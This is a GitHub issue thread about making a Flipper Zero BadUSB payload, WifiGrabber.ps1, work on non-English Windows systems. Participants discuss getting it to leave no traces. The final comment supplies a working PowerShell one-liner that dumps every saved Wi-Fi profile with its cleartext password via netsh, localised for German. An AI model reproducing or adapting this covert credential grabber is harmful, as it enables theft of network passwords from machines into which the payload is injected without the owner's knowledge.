Flipper-Zero-BadUSB icon indicating copy to clipboard operation
Flipper-Zero-BadUSB copied to clipboard

WifiGrabber.ps1 does not work on non-english systems

Open dunaevai135 opened this issue 2 years ago • 2 comments

if the locale is not English , the output of the netsh wlan show profile name... command does not contain Key Content.

I have not figured out PS yet to find a reliable universal solution that leaves no traces in the system. Temporarily use several scripts for individual languages

possible solution:

[System.Threading.Thread]::CurrentThread.CurrentCulture = "en-US"
or
$env:LCID = "1033"

but ran into problems in Win 10

dunaevai135 avatar Jan 12 '23 19:01 dunaevai135

I will be looking into this and trying to implement a solution for the relevant payloads. Thank you for bringing this to my attention

I-Am-Jakoby avatar Jan 13 '23 04:01 I-Am-Jakoby

To make it work on a german system, u need to replace "Key Content" of the PowerShell-Script to "Schlüsselinhalt": $wifiProfiles = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" keyMaterial=clear)} | Select-String "Schlüsselinhalt\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String

LinGtriX avatar May 07 '23 21:05 LinGtriX